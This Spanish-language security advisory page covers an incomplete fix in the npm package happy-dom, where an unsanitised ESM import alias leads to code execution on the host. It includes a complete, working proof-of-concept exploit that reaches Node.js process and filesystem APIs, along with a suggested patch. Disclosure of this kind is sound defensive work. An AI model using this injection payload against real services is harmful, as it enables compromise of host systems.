Alta

Happy DOM: Corrección incompleta para CVE-2026-33943: un alias de importación sin sanitizar conduce a la ejecución de código en el host

  • Publicada: 23.10.2026
  • Actualizado: 29.10.2026 10:00

Resumen

El compilador ESM en happy-dom@20.14.5 no valida los alias de enlaces locales importados antes de interpolarlos en el código JavaScript generado.

Como resultado, un alias de importación ESM no válido puede transformarse en un inicializador predeterminado de desestructuración de JavaScript válido y ejecutarse.

Esto parece ser una vía alternativa de inyección y una corrección incompleta de GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. La solución anterior valida importName en el manejador local export { ... }, pero el manejador de importaciones nombradas sigue situando un valor no validado alias directamente en el contexto del código.

Estos problemas se confirmaron a través de las APIs públicas de Window y <script type="module"> utilizando el paquete npm publicado happy-dom. La PoC accede al host process de Node.js, obtiene node:fs y crea un directorio de prueba en el sistema de archivos del host.

Versiones afectadas confirmadas

La PoC se probó directamente contra:

  • happy-dom@17.0.0
  • happy-dom@20.0.0
  • happy-dom@20.1.0
  • happy-dom@20.14.5

La misma PoC no se activa en happy-dom@16.8.1.

El compilador ESM se introdujo mediante el commit 7bc831df2, publicado por primera vez en v17.0.0. La interpolación vulnerable sigue presente hasta v20.14.5, la última versión disponible al momento de las pruebas.

Rango afectado sugerido:

>= 17.0.0, <= 20.14.5

No había una versión parcheada disponible al momento de las pruebas.

Condiciones previas

  • La evaluación de JavaScript está habilitada con enableJavaScriptEvaluation: true.
  • Happy DOM procesa HTML o código fuente de módulos controlado por un atacante.
  • Esto puede afectar a servicios de SSR, vista previa, scraping o pruebas que evalúan HTML suministrado externamente.

Detalles técnicos

En packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, el manejador de importaciones nombradas divide un especificador de importación y extrae su alias:

ts
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}

A diferencia del manejador corregido export { ... }, el valor de alias no se valida como un identificador de JavaScript.

Posteriormente se inserta directamente en la sintaxis de vinculación generada:

ts
newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;

Considere el siguiente código fuente:

js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

Esta es una sintaxis de módulo ECMAScript no válida. Node.js la rechaza en el token =.

Happy DOM, en cambio, la transforma en el equivalente a:

js
let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');

Este JavaScript generado es válido. Debido a que el objeto JSON importado no contiene una propiedad missing, se ejecuta el inicializador por defecto.

El atributo with { type: 'json' } es relevante porque el compilador solo genera su resolución de importaciones circulares para importaciones ESM:

ts
if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}

El uso de un módulo JSON evita que el alias malicioso se emita nuevamente en una asignación posterior de importación circular, manteniendo la función generada sintácticamente válida.

Las cadenas con comillas invertidas también sobreviven a la eliminación de comillas existente. Esto permite que el inicializador inyectado acceda a las APIs del host de Node.js:

js
globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )

Prueba de concepto

La siguiente PoC utiliza únicamente la API pública de Happy DOM y realiza una acción inofensiva en el sistema de archivos al crear un directorio llamado HAPPY_DOM_RCE_PROOF.

1. Crear package.json

js
{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}

2. Crear dep.json

js
{}

3. Crear payload.mjs

Este archivo se utiliza como control para demostrar que un analizador nativo de ECMAScript rechaza el código fuente:

js
import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

4. Crear poc.mjs

js
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();

5. Ejecutar la prueba de control

bash
npm install
node --check payload.mjs

Resultado esperado:

SyntaxError: Unexpected token '='

Esto confirma que el código fuente no es un módulo ESM válido.

6. Ejecutar la PoC de Happy DOM

bash
node poc.mjs

Resultado esperado:

[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF

La existencia de HAPPY_DOM_RCE_PROOF confirma que la expresión inyectada a través del alias de importación se ejecutó y alcanzó el sistema de archivos del host.

La PoC también se verificó dentro de un contenedor Docker de node:24-alpine, donde creó:

/poc/HAPPY_DOM_RCE_PROOF

Impacto

Un atacante que pueda suministrar código fuente de módulos a una aplicación que evalúa JavaScript a través de Happy DOM puede hacer que declaraciones de importación sintácticamente no válidas se transformen en JavaScript ejecutable.

Esto puede eludir la validación de sintaxis previa o las asunciones de la aplicación de que las cláusulas de importación mal formadas serán rechazadas.

La carga útil demostrada alcanza Node.js process y módulos integrados. Por lo tanto, puede adaptarse para leer o modificar archivos, acceder a datos de entorno o ejecutar comandos del sistema operativo con los privilegios del proceso host de Happy DOM.

Relación con CVE-2026-33943

CVE-2026-33943 cubre la inyección de expresiones mediante una declaración de exportación local:

js
export { attacker_expression }

Su corrección añadió la validación de identificadores a importName utilizado por el manejador export { ... }:

ts
if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}

Este informe utiliza una ruta de análisis y generación de código diferente:

js
import { name as malicious_alias } from './module';

El valor no validado es el local import alias, y la inyección ocurre en una vinculación de desestructuración generada en lugar de la asignación de exportación corregida por CVE-2026-33943.

El problema sigue siendo reproducible en versiones lanzadas después de la corrección de CVE-2026-33943, incluyendo 20.14.5.

Corrección sugerida

Valide la vinculación local importada antes de colocarla en el contexto de código. La función existente VALID_VARIABLE_NAME_REGEXP puede ser reutilizada:

diff
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {

Una prueba de regresión debería compilar y ejecutar la declaración de importación maliciosa y luego verificar que el inicializador no fue evaluado.

Este cambio fue probado localmente. La suite de pruebas de ECMAScriptModuleCompiler pasa con 30 pruebas, y ESLint no reporta errores.

Para un mayor fortalecimiento, las claves de propiedad generadas deberían utilizar JSON.stringify() en lugar de la interpolación manual de comillas.

Registro de verificación

  • Fecha de prueba: 2026-09-17
  • Verificación de duplicados actualizada: 2026-09-20
  • Plataforma: Windows 11
  • Node.js: 24.14.1
  • Último paquete probado: happy-dom@20.14.5
  • Etiqueta de fuente: v20.14.5
  • Commit de fuente: 0d4cdbe7442af49d16b49ddf1acf7cc9684ed318
  • Primera versión confirmada afectada: 17.0.0
  • Versión confirmada no afectada: 16.8.1
  • Entorno Docker: Node 24 Alpine
  • No se encontraron avisos públicos, incidencias, pull requests, commits ni versiones coincidentes durante la verificación de duplicados.

Qué hacer

Actualice happy-dom a la versión 21.0.4 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm happy-dom >= 17.0.0, < 21.0.4 21.0.4

Referencias

Puntuación CVSS 8.8/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-94
Plataforma
npm
Paquete
happy-dom
Publicada
23.10.2026
Actualizado
29.10.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-834v-8h66-3h79 - CC BY 4.0

Historial de vulnerabilidades: happy-dom

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
7
Primera → última
11.2024 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 3
  • Alta 3
  • Media 1

Divulgaciones por año

  1. 2024: 1
  2. 2025: 2
  3. 2026: 4
  1. Happy DOM: Corrección incompleta para CVE-2026-33943: un alias de importación sin sanitizar conduce a la ejecución de código en el host esta entrada
    Alta · 8.8 CVE-2026-115895 >= 17.0.0, < 21.0.4 21.0.4
  2. Crítica CVE-2025-61927 < 20.0.0 20.0.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.